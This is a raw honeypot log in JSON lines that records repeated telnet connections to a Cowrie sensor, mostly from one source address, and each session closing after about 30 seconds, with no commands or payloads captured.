{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":60414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6981b9c46cac","protocol":"telnet","message":"New connection: 195.154.29.177:60414 (10.17.0.5:23) [session: 6981b9c46cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.214800Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44458,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc9841061ee","protocol":"telnet","message":"New connection: 64.235.40.29:44458 (10.17.0.5:23) [session: dfc9841061ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.229668Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44444,"dst_ip":"10.17.0.5","dst_port":23,"session":"05848e953cfd","protocol":"telnet","message":"New connection: 64.235.40.29:44444 (10.17.0.5:23) [session: 05848e953cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.233823Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44586,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a4eb8e0783","protocol":"telnet","message":"New connection: 64.235.40.29:44586 (10.17.0.5:23) [session: b1a4eb8e0783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.529058Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44602,"dst_ip":"10.17.0.5","dst_port":23,"session":"828f5f1fa9ae","protocol":"telnet","message":"New connection: 64.235.40.29:44602 (10.17.0.5:23) [session: 828f5f1fa9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.707896Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffddf8678bea","protocol":"telnet","message":"New connection: 64.235.40.29:44478 (10.17.0.5:23) [session: ffddf8678bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.804507Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb7c0aca811","protocol":"telnet","message":"New connection: 64.235.40.29:44622 (10.17.0.5:23) [session: 3eb7c0aca811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:29.867024Z"}
{"eventid":"cowrie.session.closed","duration":30.29011082649231,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.035939Z","src_ip":"64.235.40.29","session":"cf96e58ae3a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.234943151474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.041193Z","src_ip":"64.235.40.29","session":"8566bb37e7ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79173755645752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.052939Z","src_ip":"64.235.40.29","session":"d9eff09cb0c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96945881843567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.059097Z","src_ip":"64.235.40.29","session":"16534d74ea86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968200206756592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.065806Z","src_ip":"64.235.40.29","session":"7a73bf79ddb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577399253845215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.098028Z","src_ip":"64.235.40.29","session":"b3fcc3b5898a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692363500595093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.143863Z","src_ip":"64.235.40.29","session":"3921f38e0df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44630,"dst_ip":"10.17.0.5","dst_port":23,"session":"757bfd8b7c43","protocol":"telnet","message":"New connection: 64.235.40.29:44630 (10.17.0.5:23) [session: 757bfd8b7c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.206815Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ed999839c2","protocol":"telnet","message":"New connection: 64.235.40.29:44570 (10.17.0.5:23) [session: b7ed999839c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.304799Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44656,"dst_ip":"10.17.0.5","dst_port":23,"session":"b765e35b410a","protocol":"telnet","message":"New connection: 64.235.40.29:44656 (10.17.0.5:23) [session: b765e35b410a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:30.887892Z"}
{"eventid":"cowrie.session.closed","duration":30.835352182388306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:31.037417Z","src_ip":"64.235.40.29","session":"7b27e5c564e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94707489013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:31.042447Z","src_ip":"64.235.40.29","session":"2495556a5b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.287089586257935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:31.052114Z","src_ip":"64.235.40.29","session":"1dbfe11cc5f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.273638486862183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:31.064407Z","src_ip":"64.235.40.29","session":"319f09ebd527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20026183128357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:31.269356Z","src_ip":"195.154.29.177","session":"2e42fbe6ca3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893888235092163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:31.330128Z","src_ip":"64.235.40.29","session":"fa25a6114cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44724,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc065de6ebec","protocol":"telnet","message":"New connection: 64.235.40.29:44724 (10.17.0.5:23) [session: bc065de6ebec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:31.341057Z"}
{"eventid":"cowrie.session.closed","duration":30.266022205352783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.035268Z","src_ip":"64.235.40.29","session":"d99a4178bef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3589346408844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.065617Z","src_ip":"64.235.40.29","session":"6fbafe3f19fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44786,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e75a3c950eb","protocol":"telnet","message":"New connection: 64.235.40.29:44786 (10.17.0.5:23) [session: 6e75a3c950eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.153707Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44794,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef15390aabf","protocol":"telnet","message":"New connection: 64.235.40.29:44794 (10.17.0.5:23) [session: 2ef15390aabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.241945Z"}
{"eventid":"cowrie.session.closed","duration":31.20640277862549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.255981Z","src_ip":"64.235.40.29","session":"3c4f9e030ba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44806,"dst_ip":"10.17.0.5","dst_port":23,"session":"6079b9fa54ec","protocol":"telnet","message":"New connection: 64.235.40.29:44806 (10.17.0.5:23) [session: 6079b9fa54ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.400608Z"}
{"eventid":"cowrie.session.closed","duration":31.30146360397339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.577950Z","src_ip":"64.235.40.29","session":"68b93c9228ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44758,"dst_ip":"10.17.0.5","dst_port":23,"session":"390d300c7ddb","protocol":"telnet","message":"New connection: 64.235.40.29:44758 (10.17.0.5:23) [session: 390d300c7ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.671073Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b412402e44df","protocol":"telnet","message":"New connection: 64.235.40.29:44822 (10.17.0.5:23) [session: b412402e44df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.714328Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41330,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae833103cc30","protocol":"telnet","message":"New connection: 160.250.4.73:41330 (10.17.0.5:23) [session: ae833103cc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:32.817620Z"}
{"eventid":"cowrie.session.closed","duration":30.542646646499634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.057454Z","src_ip":"64.235.40.29","session":"1b316481c4d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695576906204224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.084212Z","src_ip":"64.235.40.29","session":"6621d7bff85b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44688,"dst_ip":"10.17.0.5","dst_port":23,"session":"6baca2296999","protocol":"telnet","message":"New connection: 64.235.40.29:44688 (10.17.0.5:23) [session: 6baca2296999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.118675Z"}
{"eventid":"cowrie.session.closed","duration":31.083494186401367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.135344Z","src_ip":"160.250.4.73","session":"3b786527f1f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722360134124756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.156252Z","src_ip":"160.250.4.73","session":"1cac3d3af685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44922,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ce96cd7a5c","protocol":"telnet","message":"New connection: 64.235.40.29:44922 (10.17.0.5:23) [session: 27ce96cd7a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.168352Z"}
{"eventid":"cowrie.session.closed","duration":30.73182511329651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.174215Z","src_ip":"160.250.4.73","session":"f591b216781a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44924,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d6d7ca338e","protocol":"telnet","message":"New connection: 64.235.40.29:44924 (10.17.0.5:23) [session: 53d6d7ca338e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.277895Z"}
{"eventid":"cowrie.session.closed","duration":31.16211724281311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.284589Z","src_ip":"64.235.40.29","session":"3185dfa79382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44938,"dst_ip":"10.17.0.5","dst_port":23,"session":"50f2141686b6","protocol":"telnet","message":"New connection: 64.235.40.29:44938 (10.17.0.5:23) [session: 50f2141686b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.382575Z"}
{"eventid":"cowrie.session.closed","duration":31.32145404815674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.521570Z","src_ip":"64.235.40.29","session":"264aa2345278","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23397207260132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.530209Z","src_ip":"64.235.40.29","session":"3886222f01a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":36214,"dst_ip":"10.17.0.5","dst_port":23,"session":"d96a4f40c22e","protocol":"telnet","message":"New connection: 104.207.153.205:36214 (10.17.0.5:23) [session: d96a4f40c22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:33.932541Z"}
{"eventid":"cowrie.session.closed","duration":30.477848052978516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.039708Z","src_ip":"64.235.40.29","session":"e9d0243d997c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961018085479736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.047075Z","src_ip":"64.235.40.29","session":"a9eeec43cbb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872851610183716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.050920Z","src_ip":"64.235.40.29","session":"ea49496a704f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967671632766724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.057283Z","src_ip":"64.235.40.29","session":"ac1c2e60d7e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70331048965454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.065119Z","src_ip":"64.235.40.29","session":"58f4b44f14fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.196853160858154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.075951Z","src_ip":"64.235.40.29","session":"e66c5b9a0d29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44900,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a09952332c7","protocol":"telnet","message":"New connection: 64.235.40.29:44900 (10.17.0.5:23) [session: 9a09952332c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.080598Z"}
{"eventid":"cowrie.session.closed","duration":30.806604862213135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.101669Z","src_ip":"64.235.40.29","session":"f0494ad2b08e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12138342857361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.107842Z","src_ip":"64.235.40.29","session":"6be521fdfd50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1972336769104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.253312Z","src_ip":"160.250.4.73","session":"d41ec34a46cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41346,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2c01f5278c","protocol":"telnet","message":"New connection: 160.250.4.73:41346 (10.17.0.5:23) [session: 4c2c01f5278c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.286371Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":36228,"dst_ip":"10.17.0.5","dst_port":23,"session":"83221c95d116","protocol":"telnet","message":"New connection: 104.207.153.205:36228 (10.17.0.5:23) [session: 83221c95d116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.418998Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":45000,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ea67c2a59a","protocol":"telnet","message":"New connection: 64.235.40.29:45000 (10.17.0.5:23) [session: f1ea67c2a59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.586878Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":45024,"dst_ip":"10.17.0.5","dst_port":23,"session":"58fc452ee917","protocol":"telnet","message":"New connection: 64.235.40.29:45024 (10.17.0.5:23) [session: 58fc452ee917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.737727Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":45038,"dst_ip":"10.17.0.5","dst_port":23,"session":"7859d01c7b21","protocol":"telnet","message":"New connection: 64.235.40.29:45038 (10.17.0.5:23) [session: 7859d01c7b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:34.792874Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41368,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ed6dbb8015","protocol":"telnet","message":"New connection: 160.250.4.73:41368 (10.17.0.5:23) [session: 57ed6dbb8015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.065906Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":58590,"dst_ip":"10.17.0.5","dst_port":23,"session":"2535d57c2984","protocol":"telnet","message":"New connection: 195.154.29.177:58590 (10.17.0.5:23) [session: 2535d57c2984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.120602Z"}
{"eventid":"cowrie.session.closed","duration":31.011133670806885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.168517Z","src_ip":"64.235.40.29","session":"5544a48b08f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19940757751465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.202649Z","src_ip":"160.250.4.73","session":"838e045473ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55540,"dst_ip":"10.17.0.5","dst_port":23,"session":"6991d2ead2b1","protocol":"telnet","message":"New connection: 64.235.40.29:55540 (10.17.0.5:23) [session: 6991d2ead2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.210250Z"}
{"eventid":"cowrie.session.closed","duration":30.856221437454224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.317212Z","src_ip":"64.235.40.29","session":"4288fa9ed2a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd4d3e726bf","protocol":"telnet","message":"New connection: 64.235.40.29:55562 (10.17.0.5:23) [session: 1bd4d3e726bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.353250Z"}
{"eventid":"cowrie.session.closed","duration":31.05266571044922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.374303Z","src_ip":"64.235.40.29","session":"41e9b8e5c909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707367420196533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.426719Z","src_ip":"64.235.40.29","session":"7d8bf6361da9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a710661ac4","protocol":"telnet","message":"New connection: 64.235.40.29:55576 (10.17.0.5:23) [session: d6a710661ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.597221Z"}
{"eventid":"cowrie.session.closed","duration":30.989859580993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.624453Z","src_ip":"64.235.40.29","session":"d3b643db4984","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55596,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0bebb38286","protocol":"telnet","message":"New connection: 64.235.40.29:55596 (10.17.0.5:23) [session: 9c0bebb38286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.806537Z"}
{"eventid":"cowrie.session.closed","duration":31.62491250038147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.843389Z","src_ip":"64.235.40.29","session":"9d646f708328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55638,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7c1426324f","protocol":"telnet","message":"New connection: 64.235.40.29:55638 (10.17.0.5:23) [session: dd7c1426324f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:35.997268Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55660,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e07de95314","protocol":"telnet","message":"New connection: 64.235.40.29:55660 (10.17.0.5:23) [session: a4e07de95314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:36.055664Z"}
{"eventid":"cowrie.session.closed","duration":30.754314184188843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:36.069533Z","src_ip":"64.235.40.29","session":"8c871339044d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015876293182373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:36.128837Z","src_ip":"64.235.40.29","session":"4503d84651a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311317443847656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:36.133835Z","src_ip":"160.250.4.73","session":"3b59bcaff7a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99018669128418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:36.138415Z","src_ip":"160.250.4.73","session":"dd15f03ac62e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675487756729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:36.178737Z","src_ip":"160.250.4.73","session":"5a447986c0d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4654381275177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:36.192806Z","src_ip":"64.235.40.29","session":"91dafc63fd65","protocol":"telnet"}
